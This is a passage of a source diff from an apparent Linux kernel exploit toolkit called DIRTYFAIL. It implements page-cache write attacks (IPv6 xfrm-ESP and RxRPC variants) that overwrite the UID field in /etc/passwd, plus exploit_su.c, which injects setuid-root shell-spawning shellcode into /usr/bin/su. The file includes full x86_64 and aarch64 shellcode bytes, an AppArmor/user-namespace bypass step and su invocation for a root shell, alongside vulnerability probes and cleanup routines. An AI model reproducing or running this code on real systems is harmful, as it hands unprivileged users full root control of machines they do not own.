g_v6_shift = V6_STORE_SHIFT;
}
}
loff_t off = (passwd_off >= g_v6_shift) ? passwd_off - g_v6_shift : 0;
return trigger_store_v6_at("/etc/passwd", off);
}
__attribute__((unused))
static int run_v6_in_userns(off_t passwd_off, uid_t real_uid, gid_t real_gid)
{
if (syscall(SYS_unshare, CLONE_NEWUSER | CLONE_NEWNET) != 0) {
log_bad("unshare v6: %s", strerror(errno));
return 1;
}
wproc("/proc/self/setgroups", "deny");
char m[64];
snprintf(m, sizeof(m), "0 %u 1", (unsigned)real_uid);
wproc("/proc/self/uid_map", m);
snprintf(m, sizeof(m), "0 %u 1", (unsigned)real_gid);
wproc("/proc/self/gid_map", m);
if (!bring_lo_up_v6()) {
log_bad("bring lo up (v6): %s", strerror(errno));
return 1;
}
int nl = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM);
if (nl < 0) { log_bad("netlink xfrm: %s", strerror(errno)); return 1; }
struct sockaddr_nl nla = { .nl_family = AF_NETLINK };
if (bind(nl, (struct sockaddr *)&nla, sizeof(nla)) < 0) {
log_bad("bind netlink: %s", strerror(errno));
close(nl); return 1;
}
if (!xfrm6_register_sa(nl, (const unsigned char *)MARKER)) {
close(nl); return 1;
}
log_ok("v6 XFRM SA registered with seq_hi='%s'", MARKER);
if (!trigger_store_v6(passwd_off)) { close(nl); return 1; }
log_ok("v6 ESP-in-UDP trigger fired");
close(nl);
return 0;
}
#else
__attribute__((unused))
static int run_v6_in_userns(off_t a, uid_t b, gid_t c) {
(void)a; (void)b; (void)c; return 1;
}
#endif
/* INNER (bypass userns): SA reg + trigger only. */
df_result_t dirtyfrag_esp6_exploit_inner(void)
{
#ifdef __linux__
const char *user = getenv("DIRTYFAIL_TARGET_USER");
if (!user || !*user) {
log_bad("inner: DIRTYFAIL_TARGET_USER not set");
return DF_TEST_ERROR;
}
off_t uid_off; size_t uid_len; char uid_str[16];
if (!find_passwd_uid_field(user, &uid_off, &uid_len, uid_str)) {
log_bad("inner: find_passwd_uid_field('%s') failed", user);
return DF_TEST_ERROR;
}
if (uid_len != 4) {
log_bad("inner: UID '%s' not 4 chars", uid_str);
return DF_TEST_ERROR;
}
int nl = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM);
if (nl < 0) { log_bad("inner: netlink xfrm: %s", strerror(errno)); return DF_EXPLOIT_FAIL; }
struct sockaddr_nl nla = { .nl_family = AF_NETLINK };
if (bind(nl, (struct sockaddr *)&nla, sizeof(nla)) < 0) {
log_bad("inner: bind netlink: %s", strerror(errno));
close(nl); return DF_EXPLOIT_FAIL;
}
if (!xfrm6_register_sa(nl, (const unsigned char *)MARKER)) {
close(nl); return DF_EXPLOIT_FAIL;
}
log_ok("inner: v6 XFRM SA registered with seq_hi='%s'", MARKER);
if (!trigger_store_v6(uid_off)) { close(nl); return DF_EXPLOIT_FAIL; }
log_ok("inner: v6 ESP-in-UDP trigger fired at uid_off=%lld", (long long)uid_off);
close(nl);
return DF_EXPLOIT_OK;
#else
return DF_TEST_ERROR;
#endif
}
/* OUTER (init ns): prompts → fork bypass child → wait → verify → su. */
df_result_t dirtyfrag_esp6_exploit(bool do_shell)
{
log_step("Dirty Frag (IPv6 xfrm-ESP) — exploit");
uid_t uid = getuid();
if (uid == 0) {
log_warn("already root in init namespace — nothing to escalate");
return DF_OK;
}
struct passwd *pw = getpwuid(uid);
if (!pw) { log_bad("getpwuid: %s", strerror(errno)); return DF_TEST_ERROR; }
const char *user = pw->pw_name;
off_t uid_off; size_t uid_len; char uid_str[16];
if (!find_passwd_uid_field(user, &uid_off, &uid_len, uid_str)) {
log_bad("could not find %s in /etc/passwd", user);
return DF_TEST_ERROR;
}
log_step("/etc/passwd UID for %s: '%s' at offset %lld",
user, uid_str, (long long)uid_off);
if (uid_len != 4) {
log_bad("UID '%s' is %zu chars; need 4", uid_str, uid_len);
return DF_TEST_ERROR;
}
log_warn("about to run xfrm-ESP6 page-cache write against /etc/passwd");
log_warn("over ::1 with %d-byte padding to clear xfrm6_input size gate",
V6_PAD_BYTES);
if (!typed_confirm("DIRTYFAIL")) { log_bad("confirmation declined"); return DF_OK; }
if (!ssh_lockout_check(user)) { log_bad("ssh-lockout declined"); return DF_OK; }
setenv("DIRTYFAIL_INNER_MODE", "esp6", 1);
setenv("DIRTYFAIL_TARGET_USER", user, 1);
int rc = apparmor_bypass_fork_arm(0, NULL);
if (rc != DF_EXPLOIT_OK) {
log_bad("inner exploit failed (exit=%d)", rc);
return DF_EXPLOIT_FAIL;
}
int v = open("/etc/passwd", O_RDONLY);
if (v < 0) { log_bad("verify open: %s", strerror(errno)); return DF_EXPLOIT_FAIL; }
if (lseek(v, uid_off, SEEK_SET) != uid_off) { close(v); return DF_EXPLOIT_FAIL; }
char land[5] = {0};
if (read(v, land, 4) != 4) { close(v); return DF_EXPLOIT_FAIL; }
close(v);
if (memcmp(land, MARKER, 4) != 0) {
log_bad("v6 write did not land — page cache reads '%.4s'", land);
return DF_EXPLOIT_FAIL;
}
log_ok("page cache now reports %s with uid 0 (via v6 path)", user);
if (!do_shell) {
if (try_revert_passwd_page_cache())
log_ok("page cache reverted (--no-shell)");
else
log_warn("page cache may still be modified — `sudo dirtyfail --cleanup` or reboot");
return DF_EXPLOIT_OK;
}
log_ok("invoking 'su %s' in init namespace — enter your password for REAL root", user);
execlp("su", "su", user, (char *)NULL);
log_bad("execlp: %s", strerror(errno));
return DF_EXPLOIT_FAIL;
}
/* ---------------------------------------------------------------- *
* Active probe — used by `--scan --active`.
*
* Same shape as the v4 active probe: registers an SA in a fresh
* userns and fires the trigger against a sentinel /tmp file. The
* parent re-reads the sentinel and looks for the marker.
* ---------------------------------------------------------------- */
df_result_t dirtyfrag_esp6_active_probe_inner(void)
{
#ifdef __linux__
const char *sentinel = getenv("DIRTYFAIL_PROBE_SENTINEL");
if (!sentinel || !*sentinel) {
log_bad("active-probe v6: DIRTYFAIL_PROBE_SENTINEL not set");
return DF_TEST_ERROR;
}
if (!bring_lo_up_v6()) {
log_bad("active-probe v6: bring lo up: %s", strerror(errno));
return DF_TEST_ERROR;
}
int nl = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM);
if (nl < 0) {
log_bad("active-probe v6: netlink xfrm: %s", strerror(errno));
return DF_TEST_ERROR;
}
struct sockaddr_nl nla = { .nl_family = AF_NETLINK };
if (bind(nl, (struct sockaddr *)&nla, sizeof(nla)) < 0) {
log_bad("active-probe v6: bind netlink: %s", strerror(errno));
close(nl); return DF_TEST_ERROR;
}
if (!xfrm6_register_sa(nl, (const unsigned char *)MARKER)) {
close(nl); return DF_TEST_ERROR;
}
/* Splice from sentinel offset 0; we don't need uid_off math here. */
if (!trigger_store_v6_at(sentinel, 0)) {
close(nl); return DF_TEST_ERROR;
}
close(nl);
return DF_EXPLOIT_OK;
#else
return DF_TEST_ERROR;
#endif
}
df_result_t dirtyfrag_esp6_active_probe(void)
{
char tmpl[] = "/tmp/dirtyfail-esp6-probe.XXXXXX";
int sfd = mkstemp(tmpl);
if (sfd < 0) { log_bad("probe v6 mkstemp: %s", strerror(errno)); return DF_TEST_ERROR; }
unsigned char filler[4096];
memset(filler, 'A', sizeof(filler));
if (write(sfd, filler, sizeof(filler)) != (ssize_t)sizeof(filler)) {
close(sfd); unlink(tmpl); return DF_TEST_ERROR;
}
close(sfd);
int rfd = open(tmpl, O_RDONLY);
if (rfd < 0) { unlink(tmpl); return DF_TEST_ERROR; }
char tmp[4096];
if (read(rfd, tmp, sizeof(tmp)) != (ssize_t)sizeof(tmp)) {
close(rfd); unlink(tmpl); return DF_TEST_ERROR;
}
close(rfd);
setenv("DIRTYFAIL_INNER_MODE", "esp6-probe", 1);
setenv("DIRTYFAIL_PROBE_SENTINEL", tmpl, 1);
int rc = apparmor_bypass_fork_arm(0, NULL);
unsetenv("DIRTYFAIL_INNER_MODE");
unsetenv("DIRTYFAIL_PROBE_SENTINEL");
if (rc == DF_PRECOND_FAIL) { unlink(tmpl); return DF_PRECOND_FAIL; }
if (rc != DF_EXPLOIT_OK) {
log_bad("active-probe v6 inner failed (exit=%d)", rc);
unlink(tmpl); return DF_TEST_ERROR;
}
rfd = open(tmpl, O_RDONLY);
if (rfd < 0) { unlink(tmpl); return DF_TEST_ERROR; }
unsigned char after[64];
ssize_t got = read(rfd, after, sizeof(after));
close(rfd);
unlink(tmpl);
if (got <= 0) return DF_TEST_ERROR;
for (int i = 0; i + 4 <= got; i++) {
if (memcmp(after + i, MARKER, 4) == 0) {
log_warn("ACTIVE PROBE v6: STORE landed at offset %d → kernel is VULNERABLE", i);
return DF_VULNERABLE;
}
}
log_ok("ACTIVE PROBE v6: page intact — kernel esp6 path appears patched");
return DF_OK;
}
@@ -0,0 +1,46 @@
/*
* DIRTYFAIL — dirtyfrag_esp6.h
*
* IPv6 dual of the xfrm-ESP page-cache write (CVE-2026-43284).
*
* `esp6_input()` carries the same `if (!skb_has_frag_list(skb)) goto
* skip_cow` branch as `esp_input()`. The mainline patch
* f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4 covers BOTH v4 and v6,
* but some distro backports may have shipped only the v4 fix —
* particularly when they cherry-picked the ipv4 patch in isolation.
*
* A vulnerable system in the wild may therefore be:
* - patched on v4, vulnerable on v6
* - patched on v6, vulnerable on v4
* - vulnerable on both
*
* This module is the v6 detector + exploit. Differences from the v4
* path:
* - AF_INET6 sockets, ::1 source/dest, sockaddr_in6
* - XFRM SA registered with family=AF_INET6 and 16-byte addresses
* - ESP packet padded to >= 48 bytes total to clear the
* `xfrm6_input.c` size gate (which v4 does not have)
*/
#ifndef DIRTYFAIL_DIRTYFRAG_ESP6_H
#define DIRTYFAIL_DIRTYFRAG_ESP6_H
#include "common.h"
df_result_t dirtyfrag_esp6_detect(void);
/* OUTER (init ns): prompts → fork → wait → verify → su.
* INNER (bypass userns): SA reg + trigger only. */
df_result_t dirtyfrag_esp6_exploit(bool do_shell);
df_result_t dirtyfrag_esp6_exploit_inner(void);
/* Active probe: fires the v6 ESP-in-UDP trigger against a /tmp sentinel
* file (never /etc/passwd) and reports whether the marker landed.
* Used by `--scan --active`. Returns DF_VULNERABLE on marker hit, DF_OK
* if the kernel is patched (no STORE), DF_PRECOND_FAIL if AA-blocked.
* The inner half runs in the bypass userns and reads
* DIRTYFAIL_PROBE_SENTINEL for the target path. */
df_result_t dirtyfrag_esp6_active_probe(void);
df_result_t dirtyfrag_esp6_active_probe_inner(void);
#endif
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,34 @@
/*
* DIRTYFAIL — dirtyfrag_rxrpc.h
*
* RxRPC variant of Dirty Frag (CVE-2026-43500).
*/
#ifndef DIRTYFAIL_DIRTYFRAG_RXRPC_H
#define DIRTYFAIL_DIRTYFRAG_RXRPC_H
#include "common.h"
/* Precondition probe: kernel + rxrpc.ko + AF_RXRPC openable. */
df_result_t dirtyfrag_rxrpc_detect(void);
/* Real PoC: brute-force three rxkad session keys K_A, K_B, K_C such
* that pcbc(fcrypt)-decrypting /etc/passwd line 1 at offsets 4/6/8
* with last-write-wins produces "root::0:0:GGGGGG:/root:/bin/bash".
* Then enter a fresh user/net namespace, run the three forged-handshake
* splice triggers, and (if do_shell) execve `su -` to drop a root shell
* via PAM `pam_unix nullok`. */
df_result_t dirtyfrag_rxrpc_exploit(bool do_shell);
df_result_t dirtyfrag_rxrpc_exploit_inner(void);
/* Active probe: fires ONE rxkad handshake-forgery trigger against a
* /tmp sentinel (never /etc/passwd). The trigger writes ~8 bytes of
* pcbc(fcrypt)-decrypted ciphertext into the sentinel page; we don't
* need to predict what landed — any byte change confirms the kernel
* STORE happened. Skips fcrypt brute force entirely (a random 8-byte
* key is fine for a structural probe). Returns DF_VULNERABLE if the
* sentinel changed, DF_OK if intact, DF_PRECOND_FAIL on AA-block. */
df_result_t dirtyfrag_rxrpc_active_probe(void);
df_result_t dirtyfrag_rxrpc_active_probe_inner(void);
#endif
+530
View File
@@ -0,0 +1,530 @@
/*
* DIRTYFAIL — exploit_su.c
*
* V4bel-style page-cache shellcode injection against /usr/bin/su.
* See exploit_su.h for the high-level rationale.
*/
#include "exploit_su.h"
#include "copyfail.h"
#include "common.h"
#ifdef __linux__
#include <elf.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>
#define SU_PATH "/usr/bin/su"
#define STATE_PATH "/var/tmp/.dirtyfail-su.state"
#define STATE_MAGIC "DFSU0001"
/* x86_64 shellcode: setuid(0); setgid(0); execve("/bin/sh", argv, NULL)
* with argv = ["/bin/sh", NULL]. The proper argv matters: NULL argv
* makes the kernel substitute argv[0]="" (printk: "launched '/bin/sh'
* with NULL argv: empty string added"), and bash/sh-as-init-script
* with empty argv[0] doesn't read commands from stdin reliably.
*
* Layout:
* 0x00 xor rdi, rdi ; mov eax, 105 ; syscall — setuid(0) [10]
* 0x0a xor rdi, rdi ; mov eax, 106 ; syscall — setgid(0) [10]
* 0x14 mov rbx, "/bin/sh\0" ; push rbx — pathname on stack [11]
* 0x1f mov r9, rsp — r9 = path ptr [3]
* 0x22 xor rax, rax ; push rax ; push r9 — argv = [path,NULL][6]
* 0x28 mov rsi, rsp ; mov rdi, r9 — argv, pathname [6]
* 0x2e xor rdx, rdx ; mov eax, 0x3b ; syscall — envp=NULL, execve [10]
*
* Total: 56 bytes = 14 chained 4-byte writes via cf_4byte_write. */
__attribute__((unused))
static const unsigned char shellcode_x86_64[56] = {
/* setuid(0) — 10 bytes */
0x48,0x31,0xff,
0xb8,0x69,0x00,0x00,0x00,
0x0f,0x05,
/* setgid(0) — 10 bytes */
0x48,0x31,0xff,
0xb8,0x6a,0x00,0x00,0x00,
0x0f,0x05,
/* mov rbx, "/bin/sh\0" ; push rbx — 11 bytes */
0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,
0x53,
/* mov r9, rsp — 3 bytes */
0x49,0x89,0xe1,
/* xor rax, rax ; push rax ; push r9 — 6 bytes */
0x48,0x31,0xc0,
0x50,
0x41,0x51,
/* mov rsi, rsp ; mov rdi, r9 — 6 bytes */
0x48,0x89,0xe6,
0x4c,0x89,0xcf,
/* xor rdx, rdx ; mov eax, 0x3b ; syscall — 10 bytes */
0x48,0x31,0xd2,
0xb8,0x3b,0x00,0x00,0x00,
0x0f,0x05,
};
/* aarch64 shellcode: same semantics as x86_64 above (setuid(0),
* setgid(0), execve("/bin/sh", ["/bin/sh", NULL], NULL)) encoded for
* the aarch64 syscall ABI (x8 = syscall number, x0..x5 = args,
* `svc #0` to invoke). 20 instructions × 4 bytes = 80 bytes.
*
* STATUS: UNTESTED on hardware. The bytes were derived by manually
* cross-referencing each instruction against the ARMv8-A reference
* manual; the matching assembly source ships in
* `tools/exploit_su_aarch64.S` so anyone with `aarch64-linux-gnu-as`
* can regenerate and verify. Runtime is gated behind the env var
* `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1` to prevent accidental use. */
__attribute__((unused))
static const unsigned char shellcode_aarch64[80] = {
/* setuid(0) — movz x0,#0 ; movz x8,#146 ; svc #0 */
0x00,0x00,0x80,0xd2,
0x48,0x12,0x80,0xd2,
0x01,0x00,0x00,0xd4,
/* setgid(0) — movz x0,#0 ; movz x8,#144 ; svc #0 */
0x00,0x00,0x80,0xd2,
0x08,0x12,0x80,0xd2,
0x01,0x00,0x00,0xd4,
/* "/bin/sh\0" -> x9 (4× movz/movk lsl) */
0xe9,0x45,0x8c,0xd2, /* movz x9, #0x622f */
0x29,0xcd,0xad,0xf2, /* movk x9, #0x6e69, lsl 16 */
0xe9,0x65,0xce,0xf2, /* movk x9, #0x732f, lsl 32 */
0x09,0x0d,0xe0,0xf2, /* movk x9, #0x0068, lsl 48 */
/* push string : sp -= 16 ; *sp = x9 */
0xe9,0x0f,0x1f,0xf8, /* str x9, [sp, #-16]! */
0xe9,0x03,0x00,0x91, /* mov x9, sp */
/* argv = [x9, NULL] on stack */
0xff,0x43,0x00,0xd1, /* sub sp, sp, #16 */
0xff,0x07,0x00,0xf9, /* str xzr, [sp, #8] */
0xe9,0x03,0x00,0xf9, /* str x9, [sp, #0] */
/* execve(x9, sp, NULL) — syscall 221 */
0xe0,0x03,0x09,0xaa, /* mov x0, x9 */
0xe1,0x03,0x00,0x91, /* mov x1, sp */
0xe2,0x03,0x1f,0xaa, /* mov x2, xzr */
0xa8,0x1b,0x80,0xd2, /* movz x8, #221 */
0x01,0x00,0x00,0xd4, /* svc #0 */
};
/* Build-time arch selection: pick the right shellcode at compile time
* based on the target architecture. SHELLCODE_LEN must be a multiple
* of 4 since cf_4byte_write plants 4 bytes at a time. The unused
* sibling shellcode array is suppressed with __attribute__((unused))
* up at its definition. */
#if defined(__x86_64__) || defined(__amd64__)
# define SHELLCODE_BYTES shellcode_x86_64
# define SHELLCODE_LEN ((int)sizeof(shellcode_x86_64))
# define SHELLCODE_ARCH "x86_64"
# define SHELLCODE_TESTED 1
# define SHELLCODE_PRESENT 1
#elif defined(__aarch64__)
# define SHELLCODE_BYTES shellcode_aarch64
# define SHELLCODE_LEN ((int)sizeof(shellcode_aarch64))
# define SHELLCODE_ARCH "aarch64"
# define SHELLCODE_TESTED 0
# define SHELLCODE_PRESENT 1
#else
# define SHELLCODE_BYTES shellcode_x86_64 /* placeholder, never used */
# define SHELLCODE_LEN 0
# define SHELLCODE_ARCH "unknown"
# define SHELLCODE_TESTED 0
# define SHELLCODE_PRESENT 0
#endif
/* Convenience name kept matching pre-existing usages. */
#define shellcode SHELLCODE_BYTES
/* State file: stash original entry-point bytes so we can revert. */
struct su_state {
char magic[8]; /* "DFSU0001" */
char target_path[256];
uint64_t file_offset;
uint64_t original_len; /* always SHELLCODE_LEN, but explicit for forward-compat */
unsigned char original[SHELLCODE_LEN];
};
/* ---------------------------------------------------------------- *
* ELF parsing — find the file offset of the entry point in /usr/bin/su.
* ---------------------------------------------------------------- */
static bool resolve_entry_offset(const char *path, off_t *out_offset)
{
int fd = open(path, O_RDONLY);
if (fd < 0) {
log_bad("open %s: %s", path, strerror(errno));
return false;
}
Elf64_Ehdr ehdr;
if (pread(fd, &ehdr, sizeof(ehdr), 0) != sizeof(ehdr)) {
log_bad("read ELF header: %s", strerror(errno));
close(fd); return false;
}
if (memcmp(ehdr.e_ident, ELFMAG, 4) != 0) {
log_bad("%s is not an ELF file", path);
close(fd); return false;
}
if (ehdr.e_ident[EI_CLASS] != ELFCLASS64) {
log_bad("%s is not 64-bit ELF (this exploit requires x86_64)", path);
close(fd); return false;
}
if (ehdr.e_machine != EM_X86_64) {
log_bad("%s is not x86_64 (machine=0x%x); shellcode is x86_64-only",
path, ehdr.e_machine);
close(fd); return false;
}
/* Walk program headers to find the LOAD segment containing e_entry. */
Elf64_Phdr phdr;
bool found = false;
for (int i = 0; i < ehdr.e_phnum; i++) {
off_t poff = ehdr.e_phoff + (off_t)i * ehdr.e_phentsize;
if (pread(fd, &phdr, sizeof(phdr), poff) != sizeof(phdr)) {
log_bad("read phdr[%d]: %s", i, strerror(errno));
close(fd); return false;
}
if (phdr.p_type != PT_LOAD) continue;
if (!(phdr.p_flags & PF_X)) continue; /* must be executable */
if (ehdr.e_entry < phdr.p_vaddr) continue;
if (ehdr.e_entry >= phdr.p_vaddr + phdr.p_memsz) continue;
*out_offset = phdr.p_offset + (ehdr.e_entry - phdr.p_vaddr);
found = true;
break;
}
close(fd);
if (!found) {
log_bad("could not locate executable LOAD segment containing e_entry "
"(0x%llx) in %s", (unsigned long long)ehdr.e_entry, path);
return false;
}
/* Sanity: ensure the 48-byte plant region fits inside the file. */
struct stat st;
if (stat(path, &st) < 0) { log_bad("stat: %s", strerror(errno)); return false; }
if ((uint64_t)*out_offset + SHELLCODE_LEN > (uint64_t)st.st_size) {
log_bad("entry offset 0x%llx + %d would overflow %s (size 0x%llx)",
(unsigned long long)*out_offset, SHELLCODE_LEN,
path, (unsigned long long)st.st_size);
return false;
}
return true;
}
/* ---------------------------------------------------------------- *
* Backup / revert
* ---------------------------------------------------------------- */
static bool save_original(const char *path, off_t off)
{
int fd = open(path, O_RDONLY);
if (fd < 0) { log_bad("open %s: %s", path, strerror(errno)); return false; }
struct su_state st = {0};
memcpy(st.magic, STATE_MAGIC, 8);
strncpy(st.target_path, path, sizeof(st.target_path) - 1);
st.file_offset = (uint64_t)off;
st.original_len = SHELLCODE_LEN;
if (pread(fd, st.original, SHELLCODE_LEN, off) != SHELLCODE_LEN) {
log_bad("pread original 48 bytes: %s", strerror(errno));
close(fd); return false;
}
close(fd);
int sfd = open(STATE_PATH, O_WRONLY | O_CREAT | O_TRUNC, 0600);
if (sfd < 0) { log_bad("open %s: %s", STATE_PATH, strerror(errno)); return false; }
if (write(sfd, &st, sizeof(st)) != sizeof(st)) {
log_bad("write state: %s", strerror(errno));
close(sfd); unlink(STATE_PATH); return false;
}
close(sfd);
log_ok("stashed original %d bytes from %s+0x%llx → %s",
SHELLCODE_LEN, path, (unsigned long long)off, STATE_PATH);
return true;
}
/* Read state, return false if missing or malformed. */
static bool load_state(struct su_state *out)
{
int sfd = open(STATE_PATH, O_RDONLY);
if (sfd < 0) {
log_bad("open %s: %s", STATE_PATH, strerror(errno));
return false;
}
if (read(sfd, out, sizeof(*out)) != sizeof(*out)) {
log_bad("read state: %s", strerror(errno));
close(sfd); return false;
}
close(sfd);
if (memcmp(out->magic, STATE_MAGIC, 8) != 0) {
log_bad("state file magic mismatch");
return false;
}
if (out->original_len != SHELLCODE_LEN) {
log_bad("state file original_len=%llu (expected %d)",
(unsigned long long)out->original_len, SHELLCODE_LEN);
return false;
}
return true;
}
/* ---------------------------------------------------------------- *
* Plant + verify
* ---------------------------------------------------------------- */
static bool plant_shellcode(const char *path, off_t base_off,
const unsigned char *bytes, size_t len)
{
if (len % 4 != 0) { log_bad("plant len %zu not multiple of 4", len); return false; }
log_step("planting %zu bytes of shellcode via %zu chained 4-byte writes",
len, len / 4);
for (size_t i = 0; i < len; i += 4) {
unsigned char chunk[4];
memcpy(chunk, bytes + i, 4);
if (!cf_4byte_write(path, base_off + (off_t)i, chunk)) {
log_bad("cf_4byte_write[%zu] failed at offset 0x%llx",
i / 4, (unsigned long long)(base_off + i));
return false;
}
/* Compact progress dot per chunk; no full-line spam. */
fputc('.', stdout); fflush(stdout);
}
fputc('\n', stdout);
return true;
}
static bool verify_plant(const char *path, off_t off,
const unsigned char *expected, size_t len)
{
int fd = open(path, O_RDONLY);
if (fd < 0) { log_bad("verify open: %s", strerror(errno)); return false; }
unsigned char got[SHELLCODE_LEN];
if (pread(fd, got, len, off) != (ssize_t)len) {
log_bad("verify pread: %s", strerror(errno));
close(fd); return false;
}
close(fd);
return memcmp(got, expected, len) == 0;
}
/* try_revert_su_pages: best-effort revert. We don't have CAP_SYS_ADMIN
* to drop_caches in init ns from an unprivileged process, but
* POSIX_FADV_DONTNEED on a freshly-opened fd typically evicts the
* affected pages on most kernels. */
static bool try_revert_su_pages(const char *path, off_t off,
const unsigned char *original, size_t len)
{
if (!plant_shellcode(path, off, original, len)) {
log_warn("revert plant failed — page cache may still be poisoned");
return false;
}
int fd = open(path, O_RDONLY);
if (fd >= 0) {
#ifdef POSIX_FADV_DONTNEED
posix_fadvise(fd, 0, 0, POSIX_FADV_DONTNEED);
#endif
close(fd);
}
/* Verify the revert landed correctly. */
if (!verify_plant(path, off, original, len)) {
log_warn("revert verification failed — bytes do not match original");
return false;
}
return true;
}
/* ---------------------------------------------------------------- *
* Public entry points
* ---------------------------------------------------------------- */
df_result_t exploit_su_shellcode(bool do_shell)
{
log_step("Copy Fail — /usr/bin/su page-cache shellcode injection");
const char *target = getenv("DIRTYFAIL_SU_PATH");
if (!target || !*target) target = SU_PATH;
/* Architecture preflight. We ship two shellcodes:
* x86_64 — tested end-to-end on Fedora 44 (real-root proven).
* aarch64 — manually encoded from the ARMv8-A reference,
* never executed on hardware. Gated behind an env
* var so an aarch64 user has to opt in explicitly.
* Anything else has no shellcode and aborts here. */
if (!SHELLCODE_PRESENT) {
log_bad("no shellcode for this architecture (built for %s); "
"DIRTYFAIL --exploit-su currently supports x86_64 and "
"aarch64 only.", SHELLCODE_ARCH);
return DF_PRECOND_FAIL;
}
if (!SHELLCODE_TESTED && !getenv("DIRTYFAIL_AARCH64_TRUST_UNTESTED")) {
log_bad("running on %s, where the shipped shellcode has NOT been "
"tested on hardware. Aborting to avoid bricking /usr/bin/su.",
SHELLCODE_ARCH);
log_hint("if you've reviewed tools/exploit_su_aarch64.S and want to "
"proceed at your own risk, set "
"DIRTYFAIL_AARCH64_TRUST_UNTESTED=1 in the environment.");
log_hint("recommended verification: assemble the .S file with "
"`aarch64-linux-gnu-as` and confirm the byte sequence "
"matches `shellcode_aarch64[]` in src/exploit_su.c.");
return DF_PRECOND_FAIL;
}
if (!SHELLCODE_TESTED) {
log_warn("DIRTYFAIL_AARCH64_TRUST_UNTESTED=1: proceeding with "
"untested aarch64 shellcode (%d bytes). If /usr/bin/su "
"breaks, run `dirtyfail --cleanup-su` (or reboot) to "
"evict the modified page from the cache.", SHELLCODE_LEN);
}
struct stat st;
if (stat(target, &st) < 0) {
log_bad("stat %s: %s", target, strerror(errno));
return DF_PRECOND_FAIL;
}
if (!(st.st_mode & S_ISUID) || st.st_uid != 0) {
log_bad("%s is not setuid root (mode=0%o uid=%u)",
target, st.st_mode, st.st_uid);
log_hint("the exploit relies on the setuid bit; without it, the "
"shellcode runs at our existing uid and gains nothing.");
return DF_PRECOND_FAIL;
}
off_t entry_off;
if (!resolve_entry_offset(target, &entry_off)) return DF_TEST_ERROR;
log_ok("/usr/bin/su entry point at file offset 0x%llx",
(unsigned long long)entry_off);
log_warn("about to overwrite %d bytes of %s in the page cache",
SHELLCODE_LEN, target);
log_warn("if this fails or the shellcode crashes, /usr/bin/su will be "
"broken system-wide until --cleanup-su or `drop_caches`");
/* CRITICAL: disable libc stdin buffering before the typed_confirm
* read. Otherwise fgets() pulls extra bytes from the pipe into libc's
* buffer, which is lost when execve() replaces our process — the
* exec'd /bin/sh then sees empty stdin and exits without running
* any commands the user piped in. With _IONBF, fgets does 1-byte
* reads and leaves the kernel pipe intact. */
setvbuf(stdin, NULL, _IONBF, 0);
if (!typed_confirm("DIRTYFAIL")) {
log_bad("confirmation declined");
return DF_OK;
}
if (!save_original(target, entry_off)) return DF_TEST_ERROR;
if (!plant_shellcode(target, entry_off, shellcode, SHELLCODE_LEN)) {
log_warn("plant failed mid-stream — attempting revert");
struct su_state st_in;
if (load_state(&st_in) &&
try_revert_su_pages(target, entry_off, st_in.original, SHELLCODE_LEN)) {
unlink(STATE_PATH);
}
return DF_EXPLOIT_FAIL;
}
if (!verify_plant(target, entry_off, shellcode, SHELLCODE_LEN)) {
log_bad("verify: page cache does not match planted shellcode "
"(kernel likely patched, or AF_ALG/algif_aead blocked)");
struct su_state st_in;
if (load_state(&st_in) &&
try_revert_su_pages(target, entry_off, st_in.original, SHELLCODE_LEN)) {
unlink(STATE_PATH);
}
return DF_EXPLOIT_FAIL;
}
log_ok("page cache of %s now contains shellcode at entry point", target);
if (!do_shell) {
log_step("--no-shell: reverting via DONTNEED+rewrite");
struct su_state st_in;
if (load_state(&st_in) &&
try_revert_su_pages(target, entry_off, st_in.original, SHELLCODE_LEN)) {
log_ok("page cache reverted successfully");
unlink(STATE_PATH);
} else {
log_warn("revert may have failed — run `sudo dirtyfail --cleanup-su` "
"or reboot before using su again");
}
return DF_EXPLOIT_OK;
}
log_ok("invoking %s — kernel will exec setuid-root, jump to our shellcode, "
"and drop a /bin/sh root shell", target);
log_hint("when you exit the shell, run `sudo dirtyfail --cleanup-su` to "
"restore /usr/bin/su (or reboot — page cache is RAM-only)");
execl(target, "su", (char *)NULL);
log_bad("execl: %s", strerror(errno));
return DF_EXPLOIT_FAIL;
}
/* Describe state file if present, for `--list-state`. Returns true if
* an exploit-su state file was found and described, false if absent.
* Silent when file is missing (the normal case). */
bool exploit_su_list_state(void)
{
struct stat ignored;
if (stat(STATE_PATH, &ignored) < 0) return false; /* clean state */
struct su_state st_in;
if (!load_state(&st_in)) return false;
log_warn("/usr/bin/su shellcode planted — state file %s", STATE_PATH);
log_hint(" target: %s, entry-point file offset: 0x%llx",
st_in.target_path, (unsigned long long)st_in.file_offset);
log_hint(" original %llu bytes stashed.",
(unsigned long long)st_in.original_len);
log_hint(" the page cache currently has x86_64 setuid+execve(/bin/sh)");
log_hint(" shellcode in place of the above. Revert with `--cleanup-su`.");
return true;
}
df_result_t cleanup_su_shellcode(void)
{
log_step("--cleanup-su: restore /usr/bin/su entry-point bytes from %s",
STATE_PATH);
struct su_state st_in;
if (!load_state(&st_in)) return DF_TEST_ERROR;
log_hint("target: %s, file_offset: 0x%llx", st_in.target_path,
(unsigned long long)st_in.file_offset);
if (!try_revert_su_pages(st_in.target_path, (off_t)st_in.file_offset,
st_in.original, SHELLCODE_LEN)) {
log_bad("revert failed — manual fix needed: "
"`echo 3 | sudo tee /proc/sys/vm/drop_caches`");
return DF_TEST_ERROR;
}
if (unlink(STATE_PATH) == 0) {
log_ok("page cache restored and state file removed");
} else {
log_warn("page cache restored but %s could not be removed: %s",
STATE_PATH, strerror(errno));
}
return DF_OK;
}
#else /* !__linux__ */
df_result_t exploit_su_shellcode(bool do_shell)
{
(void)do_shell;
return DF_TEST_ERROR;
}
df_result_t cleanup_su_shellcode(void)
{
return DF_TEST_ERROR;
}
bool exploit_su_list_state(void)
{
return false;
}
#endif
+56
View File
@@ -0,0 +1,56 @@
/*
* DIRTYFAIL — exploit_su.h
*
* V4bel-style page-cache shellcode injection against /usr/bin/su.
*
* Different chain than the /etc/passwd UID-flip exploits:
